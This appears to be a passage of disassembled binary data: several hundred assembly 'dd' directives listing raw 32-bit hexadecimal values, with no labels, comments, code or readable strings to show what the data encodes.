		dd 0E0578CE2h, 9761CB91h, 7B0BB56Ch, 4D274688h,	0E139C40Ah
		dd 2E83215Ah, 15BF3830h, 56D22743h, 6D60BC56h, 0B4442DDh
		dd 97E74C96h, 1D834F02h, 0BB4E5Fh, 25DF5F57h, 614A0D15h
		dd 2499F900h, 5B73FD3h,	0ACEC4FE1h, 905BC5F4h, 0C0E1EBA6h
		dd 4A902633h, 0E3066420h, 2F4600E8h, 8FB77926h,	1503E72Ah
		dd 104F0CD7h, 0F361F2B1h, 5A637028h, 77BC404Bh,	0B73A9A55h
		dd 3219B202h, 25E04055h, 282EEB46h, 0CFBF4E82h,	0F5D9608Fh
		dd 0E9382FFFh, 80DE4F45h, 0FFE08D80h, 60B822BBh, 2515C3Bh
		dd 3C2D73C5h, 777A5E5Bh, 71D6CF48h, 7AAF0953h, 556A5B8h
		dd 0B76C892Dh, 88F38020h, 0AA5C9513h, 78CE518h,	0B515DD54h
		dd 0A02CFEE7h, 6F6F12Ch, 0DCF78012h, 54E4A09h, 0F334A98Eh
		dd 9712BB57h, 38B729FEh, 4D178010h, 2586E2DDh, 7FE6F3E8h
		dd 0F99D3109h, 6D96D51Dh, 9DD48D96h, 0C62512D9h, 0BD564F5Eh
		dd 52F9C89Dh, 67DBE7C0h, 0D5329297h, 180630B7h,	0E04EA84Dh
		dd 82319598h, 0AB27F8Bh, 0F73CC480h, 500EEE1h, 50911EE2h
		dd 29A11AAh, 0E4D4B05Eh, 0BA5718B6h, 504F5386h,	0CF2580D9h
		dd 700D7465h, 9B002993h, 8C8BBFD9h, 4B2831EDh, 0EEFB954Ah
		dd 0EC97C8DEh, 8951C3CCh, 0F7D6A59Dh, 0C4862F3Ah, 55D87E73h
		dd 307B4BA1h, 459D03B5h, 50F20F4Ah, 0BBE7C44Ah,	8A0F786Eh
		dd 35E2701Fh, 0E45C1382h, 1F1D46D6h, 8B008DD4h,	51F274D3h
		dd 29A1049Bh, 0AE0F6D95h, 4B81562Ch, 4EF88B1Fh,	5EA192A6h
		dd 70176E37h, 9F3CB8C1h, 0FA144AB2h, 2DC54575h,	3ED4B3A9h
		dd 83C8D1E5h, 65909F60h, 1D00AD68h, 0ACE58AD8h,	0BD4193Bh
		dd 51CB2B9Fh, 0DC00A259h, 0B841483h, 878007C2h,	91A9D3EEh
		dd 70FE583Ah, 611EF8FAh, 9C86BB50h, 0C0660192h,	0F965D8AEh
		dd 8D198B1Ch, 61821129h, 39B5DC2Bh, 0E6B63AF7h,	923017F2h
		dd 0BB69244Bh, 0E09004E3h, 0A3B5B8F5h, 0A9304F41h, 6B19BC53h
		dd 53F6B4FCh, 5AC99693h, 970DD0h, 0DE3CDD0Fh, 1E904D70h
		dd 7D133774h, 0FBAC15Dh, 689B54Dh, 18793F7Bh, 0A624B718h
		dd 94319467h, 0E63A0AD5h, 311CF218h, 4A2DF0FBh,	0E513EEFEh
		dd 51C0AD48h, 0EEBF5BFEh, 5CB325B1h, 0DF04ECCCh, 3D7DC008h
		dd 40D0E6B9h, 71A23FFDh, 927D351Ch, 0EDB70F81h,	0F5CFD316h
		dd 318EABA5h, 63D532Dh,	0AFE8DABBh, 5E4EE74Ah, 2DA0E0A6h
		dd 0AF0A5433h, 9F11BB35h, 0E8C6DB0Bh, 951641EDh, 5569347Bh
		dd 5527C3B5h, 800FEFA2h, 0E98B2EF1h, 0F9D5E05h,	4709BB66h
		dd 2F4ED770h, 0B9D6FDACh, 7230A8D7h, 4777D39h, 0F729361h
		dd 9264AE88h, 346A97CCh, 68E4EE68h, 564AE901h, 0FB1BA380h
		dd 0C06D00A3h, 69164C52h, 0BC4CF2ACh, 689E004Ah, 124856BBh
		dd 42291CDEh, 0EC9940CFh, 93407628h, 0EB217D03h, 0B8C9D53Eh
		dd 506CC4h, 7E556EDh, 0A7F6AD13h, 51E732F4h, 0CC77271Eh
		dd 12738C87h, 740D3700h, 4AE0B794h, 0E18E0334h,	88DD6D31h
		dd 0CC6C222Ch, 70063001h, 0E5D8B3A4h, 0AD2E00D4h, 9A040FF3h
		dd 5900B764h, 0DE9F021Eh, 0C5FFE6h, 20CD036Ch, 0FBA372F0h
		dd 0B7079200h, 0AA6C78Dh, 66020212h, 9D0113C0h,	0D057E5E1h
		dd 0AEA18ECEh, 1844B9FBh, 8D0D67CAh, 9AF30034h,	0DE841AF5h
		dd 0BF28DF31h, 0AF00F72Fh, 9DB64936h, 390CB9F7h, 0E09F9707h
		dd 0AB3C707Ah, 5B00F923h, 0FCA2735Fh, 31FB882h,	2BE5660Ch
		dd 7590EC24h, 9300D338h, 0E70D1477h, 9D09FFh, 0BA61E023h
		dd 0A11B74B5h, 5FF66A60h, 2F0DB387h, 0BD4A712Ch, 257B210h
		dd 61691FAh, 6A0C37DDh,	8B8483h, 2159601Ah, 838748Fh, 3F5FB30Fh
		dd 4E5A4B4h, 69574F4h, 0F00C6BA7h, 0B3003B8Dh, 0C44FE05Ah
		dd 4D6892h, 63C853BCh, 1464EFAFh, 280FBF48h, 73008DA2h
		dd 9ABB9D78h, 62B2C5h, 1F88B13Ch, 99D22BB6h, 17FBDF00h
		dd 8FB95187h, 81E4003Eh, 4FF58CA1h, 2D0171A2h, 31F5FF7h
		dd 7E8086A0h, 10C76DC6h, 34016AA7h, 0D0CE44A9h,	0C8DFE045h
		dd 3967ADFh, 22B7D08h, 70D78F48h, 6FF51BADh, 79AA0600h
		dd 4136DBBFh, 0EEC23025h, 2E97F054h, 0B60F807h,	43809608h
		dd 33ECED0h, 336BA9FEh,	2D0E64C7h, 933992h, 94247A9Bh
		dd 0B0F7006Ah, 3F42EB3Ah, 0E1000699h, 3E121F49h, 0F392D55h
		dd 0A05ADB81h
		dd 53851C5h, 4A8AEFECh,	6480AFh, 930B0459h, 7003A308h
		dd 0F320C52Eh, 51F798ABh, 0A286A0A4h, 0CAD4033Dh, 6539DA3Fh
		dd 9B559698h, 215AF301h, 108E8367h, 0E42DF8h, 8D0A4AA9h
		dd 0AE3EC8EAh, 0C22F9218h, 0D5FC55C2h, 820F1169h, 0BB60AAEAh
		dd 0C32F58E3h, 862B6060h, 906872Dh, 0C7FD454Ch,	439B1403h
		dd 72CBD20h, 4E420B23h,	8FABE37Eh, 574031DAh, 9800015Ah
		dd 0D13FA42Fh, 11D8191h, 8DE529B4h, 0CC382063h,	0B00F6B7h
		dd 462AE465h, 489DD3CBh, 330438E6h, 90167CA8h, 1CD64739h
		dd 8EDD1518h, 88017B84h, 6E06A70Ch, 4AADC909h, 1F780C2Fh
		dd 760F50B3h, 4FC479C7h, 637FBF11h, 0A01D4EC3h,	2009447h
		dd 0DA3B1FD9h, 0DF34C4h, 0B5DE6935h, 1970D10Fh,	9BB74701h
		dd 7E09A3Dh, 0A08510F8h, 6A6884CFh, 3E681705h, 8D863380h
		dd 0EA533AD5h, 322DB21Ch, 921D1F7Dh, 497518F8h,	207E1EEh
		dd 0F0D48ECFh, 96603F23h, 7B03D060h, 5874049Ah,	1B2709F5h
		dd 30811CC2h, 7F8F80E2h, 5EB6BE00h, 4CD740h, 0DEDFD2FCh
		dd 677D1322h, 0FF14C100h, 0D641938Eh, 29C363ECh, 82D0E830h
		dd 6B0033E0h, 0A84E7702h, 9E6D27h, 0F5F1B274h, 0E1305A18h
		dd 932BD00h, 0C64DFAA0h, 1E4800D8h, 0EE7E1B3Bh,	9C004267h
		dd 6D568E5Eh, 54F4406Fh, 85C813h, 57B996F3h, 0A17A9A97h
		dd 0D565CE00h, 21746B95h, 0B85F00B7h, 948D40A2h, 61036F1Ah
		dd 53A91DC3h, 7FEE008Fh, 0DD369B26h, 0DC0331C1h, 0C5284433h
		dd 0EB1E0065h, 45832992h, 12007B98h, 625C9319h,	4DB6AEh
		dd 0F1AD68BDh, 4973D66h, 0EE749F00h, 88137C22h,	813B006Ch
		dd 0F228769Dh, 0B790055Ah, 0E51DED01h, 83406EB2h, 144C497Ah
		dd 36C6ED80h, 1690971Ah, 0E41F7F7Eh, 8A9DFF54h,	1F0C5153h
		dd 9F1A82h, 0C3EDBC76h,	2214F2D1h, 0D0008D79h, 7231E6Fh
		dd 0E586A4h, 1079D27Fh,	85E16480h, 0CF58FFF2h, 73591999h
		dd 0A040F279h, 491E3ACAh, 32002CB4h, 2AE94ED9h,	911C3E74h
		dd 65C61C82h, 762099FDh, 0C7AB00A6h, 6DC2524Ch,	0B730D3A4h
		dd 29821F54h, 2E3558C0h, 0C2C72800h, 0E7F20E9Eh, 0FDF6D01h
		dd 0B419A4FDh, 4CAFFD30h, 5300025Ah, 0EB45D437h, 0A91202FFh
		dd 87007003h, 3A2663FBh, 75B98AAh, 32F8EA8Eh, 316D604Ch
		dd 0D738F38Bh, 7017CCCh, 9CF181DAh, 0EE60ED75h,	5A83060Eh
		dd 0E4BF76B4h, 2487A312h, 0BD52C340h, 98C04B53h, 35C509C3h
		dd 78A0A0F5h, 545FD379h, 121F575Ch, 0F700F952h,	452F830Ah
		dd 89E63172h, 0E82B8E92h, 597007E4h, 0D5619737h, 50F6430h
		dd 7FF31899h, 31075C5Dh, 85A1E10Fh, 0D50F22h, 0BE0C817h
		dd 16BB3CC2h, 0D67C93h,	425CB7ACh, 0B4075F0Ch, 0FE1A5AEAh
		dd 7D4B5B0h, 0CA7000C9h, 613DD237h, 1B7444D6h, 7A3F7D58h
		dd 0B0EE251Ch, 9480D5C1h, 0E4F6640Ah, 0BB1604CFh, 0D46FA75Ch
		dd 36E9888Fh, 78DD6809h, 12CF009Ch, 59149FFFh, 4C029BAFh
		dd 0EB50DBC3h, 84E90540h, 8506F698h, 4EC8152h, 1678BF5Dh
		dd 0C3F6E3E6h, 0EB830BA0h, 1CC387ECh, 4E27685Ch, 0CD91E1Bh
		dd 14117EF2h, 59C660F1h, 17D5500h, 52BDBF57h, 81170EB2h
		dd 0F3C7FAEFh, 0EF7606Dh, 0A000C2D6h, 295FFE89h, 625459CEh
		dd 0C481448Bh, 86A03FADh, 8428F6Dh, 15567A25h, 15C681E6h
		dd 2A870C66h, 8FF5C35h,	0F4C5886h, 0FBA530E9h, 1E565F60h
		dd 1200C9BDh, 0D94BB88Ah, 7F0307FEh, 0F4E005C5h, 76E2A75h
		dd 603914C0h, 220C6663h, 5A4B5500h, 595E7827h, 4E8900C7h
		dd 441A342Dh, 2A007F0Ah, 5107308Ah, 79497B9Bh, 6B1201A7h
		dd 6A70ED1Fh, 4263F8F0h, 134E7500h, 521DA41Bh, 58E0004Ah
		dd 0F178AF11h, 2D26CB0Ch, 0BF003181h, 95BD51EAh, 0FE3600D9h
		dd 334EF2AEh, 4F019F40h, 6A978D7Fh, 1C319ACCh, 0AEDD123Fh
		dd 3A049D7Bh, 0A8C090EFh, 22B2036h, 53BFBB50h, 37D419CFh
		dd 0C9187D27h, 0CA97258Dh, 7B297B6Eh, 29DED8D8h, 40718D4Ch
		dd 0BD4A8B26h, 0DC8590E5h, 0A8FEDC37h, 0FDAD6B0h, 565E0880h
		dd 0A36068CFh, 6DB01ADAh, 0C6DD8A17h, 6F6A4BB9h, 333D00E6h
		dd 31623564h, 9B14E95h,	0C0F66AECh, 8A9D29C3h, 5396F51Fh
		dd 403FCD97h, 0FD8B5E77h, 40EC4D4Eh, 8005A9D3h,	0CCF9DF81h
		dd 0C6D148FFh, 0A13FBD06h, 0D7161A1Ah, 74A209FCh, 3DDDDA89h
		dd 605B800Ah, 506E2CBFh, 0C6B62F4Ah, 82297076h,	0D4D4E257h
		dd 0AA28DCE7h, 0C520A586h, 0BF660501h, 0EF8BADBBh, 0CD3AE889h
		dd 0FBF43F10h, 11A3028Ch, 487115B1h, 497A5DEh, 0CABC48FDh
		dd 0EB9F9407h, 5B318106h, 297A9557h, 0D46A2ABAh, 40926601h
		dd 38F93BCCh, 24B080C8h, 4A144478h, 0CBAEB997h,	0AEA6000Eh
		dd 0B592E970h, 4120AF1Ch, 0E7FD80DCh, 0F3F74B21h, 8512432h
		dd 37FC8801h, 0DD3A5F06h, 0A86A3A44h, 95E6957Dh, 8BDB8101h
		dd 906B0E10h, 2E76307Ah, 0AF00B380h, 7247A3DAh,	2D990663h
		dd 0AEE4699Bh, 744D0C01h, 8875EB84h, 753617C8h,	0F8A00F2Ah
		dd 0E380AA02h, 0B638BB66h, 904F5F71h, 0F1804A9Bh, 6360B78h
		dd 76ADB64Bh, 8C1BB8h, 74D0F20Dh, 0F616EC39h, 492D3698h
		dd 27116708h, 67512073h, 46DDCFCh, 63A8FE90h, 9CDABAB4h
		dd 65C01DC8h, 22E6456h,	25B92CC4h, 0DF82FB0Fh, 35C0A24Ch
		dd 6D95FF6Ah, 606EC2C2h, 10013061h, 0BC5A57F9h,	8055252Fh
		dd 4ECF81EDh, 4C1501B2h, 399D0B51h, 5B1A9617h, 0EF3443B6h
		dd 20FC0547h, 0C525811Ch, 82B00323h, 9126160h, 0BD0101C2h
		dd 618C502Dh, 0CC9870E6h, 40CB799Dh, 7FBD0C2Dh,	0A1171600h
		dd 0C7296725h, 187D0B96h, 99DFE8A0h, 35A7AED3h,	40AD8AF1h
		dd 8906BA63h, 0C2A03EF5h, 8F0908C7h, 0D8A50B0Ch, 0EACDD20Ah
		dd 0AEB3B725h, 88D14B76h, 291657F1h, 5452A595h,	758506AFh
		dd 0BD132B11h, 78AC1479h, 6D25898Fh, 20091C0Ah,	591EAD27h
		dd 111D917Ch, 750AE8h, 1F782518h, 2B4B041Eh, 0FA8374Ah
		dd 33E95BC2h, 9540C657h, 8084567Eh, 842132EBh, 0E5216A1Fh
		dd 0D9092A65h, 20EF0C27h, 67890E17h, 0E1616ADAh, 2A094CDCh
		dd 210122F3h, 0B8777476h, 6B064D38h, 0BEA3AF1h,	192D79D8h
		dd 0F4995410h, 32498C00h, 0C5EEA11Eh, 1B9183Ch,	59BDDF09h
		dd 0C6911F41h, 8DC44F81h, 2209CD04h, 859D0E18h,	9AA6245Eh
		dd 1DB50104h, 0A399FA35h, 0D417D41h, 0D1855989h, 95A93CF5h
		dd 0FB704A53h, 0AF7D0097h, 80E25FC4h, 61B551E7h, 0AC205B52h
		dd 0AC074E93h, 5760C065h, 1DE815Fh, 6A2DDFDAh, 6E880D61h
		dd 88FFBF75h, 7B074933h, 0AE078E6Ch, 21AC4784h,	93B8A8D2h
		dd 3CBF8AAEh, 0E34FF62Ch, 16ACC9A9h, 210545B3h,	7080EFEAh
		dd 28CF09A7h, 41C5032Dh, 3E926415h, 33B2394Eh, 8AB2DAF5h
		dd 0B404C467h, 0C1AFD780h, 6E0B25AAh, 0F3A041A7h, 0EE7EBEF7h
		dd 1ECB321Ah, 0B883C0AAh, 4814B5BCh, 73977F70h,	0F37AD0D5h
		dd 0D3B2E601h, 0DCF216BBh, 9D3FD87Bh, 0D6178925h, 1446DE7Ch
		dd 6B59977Bh, 5AF5397h,	0E9E1FF78h, 0B92BB97Dh,	45692D14h
		dd 4FE21A91h, 0F051897Eh, 0C501BADh, 568E0A5Ah,	6001A722h
		dd 74BAF4BFh, 77303101h, 0F0449D21h, 41850913h,	0B5F90EF0h
		dd 75ED280Bh, 9DFAE4C4h, 99A08BB4h, 6B1D512Fh, 1D4080EDh
		dd 12C79C47h, 0E1815893h, 14743F58h, 16A96AABh,	30BBEA60h
		dd 21745804h, 13FB9A4Ch, 5D6F2404h, 4D62E300h, 68A6DE7Ah
		dd 48424030h, 3D5ECEBFh
		dd 0EF0444C2h, 0FB9710E5h, 6C991820h, 787758A4h, 107C8130h
		dd 694B0E1Eh, 0F877756Eh, 0DC609EBh, 385D3291h,	0B71D51E4h
		dd 18C52DEEh, 70EB1525h, 0BF7816Ch, 37C9D10Fh, 5B0129E9h
		dd 202CD388h, 0F925D9B5h, 3569BCh, 7DEA3F87h, 41A860F5h
		dd 86CE4DDh, 810F3211h,	25D50FC2h, 29A86158h, 5BDB80C7h
		dd 22BD8D02h, 0A73AC5F7h, 8F40746Dh, 24F9EDA1h,	0DE4A0689h
		dd 60CF6D00h, 5682BA66h, 616824B3h, 0CF80C1A0h,	6A176AC9h
		dd 2F4408BFh, 3853960Ch, 0B2CF4B8Bh, 33BC003Dh,	28CBD455h
		dd 0A3C20054h, 759CDD2Fh, 49000693h, 0F7E0D5E4h, 4B5F615Ah
		dd 3493BC50h, 3DB650C6h, 9C7087E0h, 0FBB99E26h,	23F88616h
		dd 0B63AF445h, 84B6F00Ah, 981325DDh, 38898710h,	2B551800h
		dd 395BE0C9h, 71011EF9h, 7FF3099Ch, 40813505h, 8C5D689Ah
		dd 50038805h, 7CF0BF52h, 31F48F54h, 0CE8060E8h,	0DFAAFE82h
		dd 51038600h, 6526F33Ah, 88D35F4Fh, 0A926D8F2h,	7E05A0B3h
		dd 85FA5BBEh, 0A2DA41E5h, 6A781977h, 0E380E5DBh, 9BFE55FDh
		dd 0B41A7413h, 405DCFCh, 0BF858DEBh, 2328677Eh,	0C64016C7h
		dd 7884F250h, 1F36B02h,	60688BABh, 34CFA4DFh, 0BFCE89D6h
		dd 5280DD65h, 31616006h, 0E34E40B7h, 633D6A65h,	80B79A2Fh
		dd 0F299FF4Fh, 0D2D90084h, 80E723F0h, 949FBEEFh, 9E385E39h
		dd 9890C95Ch, 0ECE364BCh, 22A93D19h, 3F5127A5h,	0CC60E349h
		dd 0E4CE3BEAh, 0AD018B6Bh, 3A2664BFh, 24296A7Fh, 88C92EE6h
		dd 0F860FC69h, 2740EDBDh, 9AD4A561h, 95D3768h, 0A3335DB6h
		dd 7A227DB1h, 481AE9Ch,	5AD030DBh, 0C052FC1Eh, 459F23BFh
		dd 964DBD67h, 0F9621464h, 1DED85E0h, 0F83C9681h, 2E55809Eh
		dd 6E88082Bh, 0BD9E7800h, 60CA4149h, 0B0E64B8Ah, 502D5B53h
		dd 133D3796h, 0ECE017D0h, 9755C011h, 0E478E227h, 0C5FD00D3h
		dd 304A1289h, 1C2948FEh, 5BAD9CC7h, 418F7830h, 0F3EA7AE8h
		dd 5E0FF097h, 0F66413B9h, 301AB229h, 861FE03Eh,	0B356C6FEh
		dd 39A6DC8h, 4F8707ADh,	2F901FE5h, 0F2F928Fh, 50ADFC8Bh
		dd 0F91F0221h, 74C4C744h, 47FB798Ah, 0B2E66E18h, 74C5F4Dh
		dd 0E95ADD98h, 4DED4C84h, 47002DECh, 49A384ECh,	96A23BBFh
		dd 0C71A40FCh, 110173B1h, 0AF7DFA1h, 2770D6CBh,	7C60624Eh
		dd 0CC5F0CCDh, 672302C4h, 61E7EF87h, 89246CD4h,	36801FCh
		dd 0F489DF53h, 23FAE0B3h, 7CF56031h, 0E26F02F1h, 0F9A697B5h
		dd 0FF2EA1E0h, 0BCC56E1Eh, 0C41AF42Fh, 7505BBBFh, 65EA1079h
		dd 0A18EB6F7h, 8C2EBE94h, 0F9953169h, 0D0E227B5h, 0F1967860h
		dd 7E373F2Fh, 0C10A5576h, 0B504D5A7h, 31020D71h, 774A2995h
		dd 0B7B8D125h, 0B314B072h, 0A3911363h, 0E99400C4h, 6E96EF81h
		dd 334E2C02h, 92116D9Dh, 9A4EDDCDh, 0B8E3F717h,	0AB9CA95h
		dd 8E00D5E8h, 1676430Eh, 0C02F5C88h, 7CA0F35Eh,	2D20BD2Bh
		dd 7272C00Fh, 961B8A17h, 2C5D80BFh, 0C012E9E0h,	77229A51h
		dd 6500F126h, 0CFEA01D0h, 53483BCh, 0CB29638Bh,	0FE90EE2Fh
		dd 2F1080BBh, 0CA49198Eh, 0B8982D96h, 0EAED00E7h, 3BB5D503h
		dd 0CC95CA60h, 73E5B768h, 0BD1DA438h, 0B2EEC4E0h, 8A4B5AEBh
		dd 8A8872D2h, 529609DEh, 0E2A058B3h, 24E58529h,	616971B7h
		dd 6A0C5DD3h, 1FFD7F17h, 9094DECh, 0F505499Dh, 66C09B15h
		dd 50A9D802h, 0CB34E9h,	33FEBD05h, 5F28CC7Fh, 8D9FA600h
		dd 5174C8EDh, 0E7D516C5h, 3FFDB186h, 82EFA834h,	7CD45BB1h
		dd 0BC155851h, 53112F59h, 181779B1h, 26203E98h,	4D858989h
		dd 0EAC6CA24h, 0AA92BEDEh, 0B134681h, 97A2D2DCh, 1CD91F5Bh
		dd 0B3387A18h, 1F751789h, 0E9F85613h, 0F033E702h, 82D4C7E9h
		dd 70BE5B25h, 0DA012582h, 2FEC8021h, 0ED2F892Ch, 968B3A82h
		dd 60BFDD8Ah, 2F419D7Fh, 0E67782h, 935E98BDh, 0D0330369h
		dd 0F38CF1AFh, 0FDD6EFA8h, 2B13EA7Bh, 0DBAA389Fh, 86EBC033h
		dd 4F7C487h, 0F2CD53D9h, 3FB6FB90h, 0E20280F0h,	336E0518h
		dd 17EBC4E6h, 0A05307FEh, 4D985BCAh, 0C2364625h, 82E1D7ADh
		dd 0FBFFB118h, 917C8D0Fh, 0E55E09A0h, 86C43800h, 0EC0A6EEAh
		dd 57FE06F9h, 0B0457C61h, 0B0076071h, 0CC780CEh, 0F86CBBC0h
		dd 0B6247610h, 3B130BB8h, 4DCBDDFh, 0AEC7719Ah,	0CAEFCDD4h
		dd 22D9A09Bh, 9FFB09B4h, 35751F88h, 851591F6h, 0B480E1DAh
		dd 0A7A0791h, 0D1BD2365h, 6EFF9DAFh, 58131100h,	3D3FC187h
		dd 0F76E832Eh, 3B72122Ch, 9489D3E2h, 0B8A5BD5Dh, 7983EF81h
		dd 36026A2Ah, 0F764F035h, 88365E79h, 1D00123Ch,	8C0A0E17h
		dd 2C3DB8A2h, 0BD53A1h,	8A903482h, 0BD9050D8h, 0B7DB6EEDh
		dd 0A6C6029Ch, 31FF9040h, 26C5B56Ch, 20FF9D7Eh,	1F4021ADh
		dd 8EF14BE9h, 8ECE248Dh, 0DEA1F625h, 95091204h,	874E0675h
		dd 173948B1h, 77BF2D71h, 0F59DC34Dh, 810FA30Ch,	6660310Bh
		dd 1B0C2801h, 61F8BF0Eh, 0CD0B8190h, 0B26E191Fh, 8F5727C5h
		dd 5C04F38Ah, 8EFA1455h, 0B0EB46D0h, 6710C2FBh,	49E9582Ah
		dd 0BBCDCF57h, 28876ECEh, 0E94CD059h, 299D85CAh, 2DB5E220h
		dd 35578111h, 5CCA58h, 0F60123C2h, 90A4496h, 0B1A843B0h
		dd 0AD2370E6h, 0F5840074h, 0DC85E1BCh, 2C00F424h, 1C18B909h
		dd 165171E4h, 9E9C3BFh,	0F05A5B9Ch, 1031F244h, 220B1B5h
		dd 2553F9BFh, 3CF55657h, 0C14EF004h, 96FAAC17h,	9F7BD0ADh
		dd 7D4B5E7Ch, 96E63B00h, 9F025B0Eh, 1B13828h, 0A5DE56B5h
		dd 0BF4E80FFh, 0B5092F87h, 0B17CAFAh, 2752D5BDh, 87B19FCh
		dd 0D166713h, 1FC6000h,	0C9295595h, 0F92E949h, 7256EA55h
		dd 978A7828h, 25070F04h, 75E90BBEh, 69F9D06Bh, 90F472Ah
		dd 57E97D7Eh, 0FBF4BD6Ch, 0F5BE930h, 6319BD33h,	0FF8D4D25h
		dd 220035Ah, 3752CCh, 1E2B24F1h, 0E6B0E0F8h, 103D6112h
		dd 43120B87h, 44265C5Fh, 31EA532Dh, 0F0F1FE3Ch,	832815BAh
		dd 4CF733A5h, 0B97F3CB9h, 98652900h, 0FD50DA2Ah, 958929B4h
		dd 346C2587h, 0C2656920h, 0BE35DB84h, 0F5A02BFDh, 255BF7A9h
		dd 80181859h, 0D21EC509h, 1659418Fh, 0E9CDBA48h, 0A864B902h
		dd 6960318Dh, 12115C8Ah, 0E2D88BB4h, 2C11144h, 9D852904h
		dd 1BB6752Ch, 5365B2E0h, 1155909h, 0C02B129Dh, 25A8022Eh
		dd 0DA6DD22Bh, 82AD57C0h, 368B4860h, 61F0B709h,	0C7FDCF57h
		dd 80100E1Ch, 6B3BF6B0h, 566809ECh, 3E229FE1h, 0F975164Fh
		dd 118F00B3h, 38EC5B05h, 2E12E517h, 0B516D5F6h,	0E452AF3Dh
		dd 0F0E02FE6h, 1E7EDF32h, 34A7E206h, 2621880Dh,	1327F560h
		dd 5B42CAF2h, 38A010B6h, 2612CAFAh, 6A95800Fh, 8A0720ABh
		dd 21004B6Ah, 0F5A89047h, 254201F8h, 0C1CD5F80h, 8C601864h
		dd 832FE288h, 107200C2h, 258589F6h, 0BCF92EEDh,	0B562827Ah
		dd 27984433h, 0F3D4294Dh, 213B7E71h, 2F76F40Dh,	1C88C2DAh
		dd 553D1C0h, 0D3820475h, 0B9113F9Dh, 4F9AD275h,	3ED2DC9Fh
		dd 2E724804h, 0C996F8CAh, 83CA572Bh, 0FB378877h, 9AE1FF8Bh
		dd 16597FB6h, 2DE62487h, 0BC4B97F0h, 55B9F7Fh, 0DC2A564Bh
		dd 0ADDF571Ch, 81BD09C2h, 0D1F15527h, 0AF523FC4h, 0EC2AD489h
		dd 0A5F5A3D5h, 117ABBh,	7B690B21h, 18E2DA4Ch, 725237EDh
		dd 0B78010A1h, 68606BDCh, 0CED318F5h, 86E49DD4h, 6E99D303h
		dd 0EFC7917Fh, 533CC000h, 9EDEEC6h, 0AFB01FCAh,	0E3E6805Dh
		dd 975BA4ACh, 0E14DE80Bh, 874EE5C0h, 8C2E01DCh,	95BD2906h
		dd 18B63E14h, 0A6A83E5Dh
		dd 5309A497h, 0A0ABA7FAh, 97FFF7BAh, 0D9271270h, 0E0CF4C26h
		dd 228B0195h, 14FF747Eh, 19A3C8A0h, 66F6EC25h, 1D0D9D9Bh
		dd 1C322E07h, 90D7C0F5h, 50DE288Ah, 0DDCD3CC5h,	80AADB4Fh
		dd 0CB3E8B21h, 0B09B17FAh, 0DD0A30EBh, 1FA7B6Eh, 376A5325h
		dd 0ABB08080h, 0F76806A8h, 9AB5C100h, 93824EBBh, 4182957Ah
		dd 16E24208h, 7805EB7h,	0C9BAA9C1h, 84C0B31h, 17761513h
		dd 0AC22A140h, 87B4006Eh, 0C88D9052h, 9B134B14h, 52C2A2C3h
		dd 45F052Ch, 0BD692BA5h, 9FA9231h, 0B08981B1h, 0F4BFD5h
		dd 49BB4DFDh, 0A7EA1187h, 0E8072908h, 80D1800Ch, 6C7F933Ch
		dd 3D175202h, 779DC7B6h, 5F020C51h, 7E01B5E9h, 0A8759304h
		dd 0F7F8A272h, 0C2D240ECh, 0B72A21E1h, 6509B5ECh, 0A0367927h
		dd 0BE8E3E97h, 0DE9306A4h, 0AD5AAE07h, 0F46B80C7h, 6DE30914h
		dd 8FA6BCD3h, 0D8C103D6h, 8A724F1Eh, 2FFA8BA9h,	95D63D1Ch
		dd 5001ECA9h, 0EBF0FEBFh, 8B117A49h, 2D13BC8Ch,	0E7E6DB73h
		dd 1E1049Dh, 0F4E93A1Fh, 77C012F4h, 142DEA8Fh, 0BE97B25h
		dd 74864607h, 5B72A2C7h, 6969EDF7h, 26171953h, 51B09AB8h
		dd 691719BBh, 4519346Ah, 53C4603Bh, 0F561715Ah,	0B01964C2h
		dd 0A6F85E13h, 301CB2D0h, 7700C683h, 914166Ah, 4B8932D1h
		dd 289FE9BDh, 0C428FE90h, 700CCB02h, 1632FC60h,	0ADDF4B8Bh
		dd 8C18AC25h, 88AF3104h, 30FED58Fh, 0FC2DCB9Ch,	30964001h
		dd 9807E8EAh, 4C2AB33Bh, 59CB1455h, 0EB00758Bh,	8275F10h
		dd 2F0183BFh, 0E4511BA7h, 1F39B5C1h, 1222220Fh,	0BD37E9FCh
		dd 0BD9AECD3h, 255F5CFBh, 0F8B5BA31h, 9012142Fh, 339B5F57h
		dd 1BDDBF93h, 69DE202Ah, 130E2C76h, 60725559h, 6E5F6056h
		dd 2EDA9065h, 1629F6CDh, 0CB3CEADDh, 0F7818820h, 0E129397Fh
		dd 0D66F767h, 26F39D26h, 9E94C78h, 2AD78030h, 2BAF8555h
		dd 236B6FBEh, 3A043F18h, 0C1FB1998h, 2FAE16E2h,	74E36735h
		dd 61C2FC25h, 0D0925357h, 0BF70712Fh, 282B0816h, 38D96BEAh
		dd 84701Dh, 0EE7123FAh,	6BE94995h, 0FAADCA2Fh, 611740D1h
		dd 6A8D2925h, 9FF278A0h, 0D852355Eh, 0B30780DDh, 0A1449D98h
		dd 0DC13BCh, 189CEA1Ch,	9D33F3A9h, 0DAA531F4h, 9723D825h
		dd 0BE1C621Bh, 7D207D8Dh, 30E53429h, 0A2C064CBh, 37FC1E56h
		dd 0B8E5DE80h, 23B94B6h, 884DF861h, 325E83BDh, 61CF4F25h
		dd 0F0EDD1AAh, 0D009A927h, 5234585h, 9DBA1841h,	67202AF9h
		dd 70AF4933h, 0FD53B790h, 44AEC5Ah, 0B55D49C1h,	0EAC4AF33h
		dd 5D99AAC2h, 2B7DE46h,	5C1F2C76h, 7DCD27C3h, 0C29B5CC0h
		dd 0A5B52431h, 0E166A5F6h, 65185A0h, 2D644E9Dh,	175CDAB7h
		dd 7D1F09F4h, 0E6D57EE7h, 95BD12C7h, 9FEAB234h,	70EADE53h
		dd 0EB8CCFF9h, 3DB5058h, 0D18A5FB3h, 52BAE861h,	6124EB5Eh
		dd 0AFED97F9h, 0C1EF9068h, 8E0FAF93h, 2FEF8D6Bh, 6A7A53DDh
		dd 366F008Ah, 0C562ABF2h, 98963AB8h, 22828A4Bh,	0E5EE976Dh
		dd 5B24A927h, 209BA83Ah, 965E26E9h, 108DEC49h, 2769BF4Fh
		dd 0A0E98A23h, 7DFC1209h, 5712705Ah, 0B337E3EEh, 0E8A1D090h
		dd 9B9F0284h, 14486627h, 4B237857h, 6F20C45Fh, 0A04917ADh
		dd 3C910CA9h, 5C7E3A00h, 2F18F2C5h, 8A023B90h, 0BE224B3Dh
		dd 0FD4C7DD3h, 777311A2h, 715B5B28h, 174C3DA9h,	219302ABh
		dd 213BBFFh, 0C75CF434h, 0D5B52962h, 0C9564DCAh, 0E1816DD2h
